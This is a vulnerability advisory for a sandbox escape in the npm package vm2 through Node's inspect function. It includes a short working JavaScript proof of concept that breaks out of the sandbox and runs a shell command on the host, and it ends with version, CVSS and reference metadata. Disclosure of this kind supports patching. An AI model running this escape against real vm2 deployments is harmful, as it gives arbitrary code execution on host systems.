VM2 Has Sandbox Breakout Through Inspect Function
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | vm2 | < 3.11.0 | 3.11.0 |
Referencias
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c
- https://nvd.nist.gov/vuln/detail/CVE-2026-24781
- https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189
- https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c
- https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-693, CWE-94- Plataforma
- npm
- Paquete
vm2- Publicada
- 05.05.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-v37h-5mfm-c47c - CC BY 4.0
Historial de vulnerabilidades: vm2
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 78
- Primera → última
- 10.2021 10.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 51
- Alta 14
- Media 12
- Baja 1
Divulgaciones por año
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
VM2 Has Sandbox Breakout Through Inspect Function esta entrada
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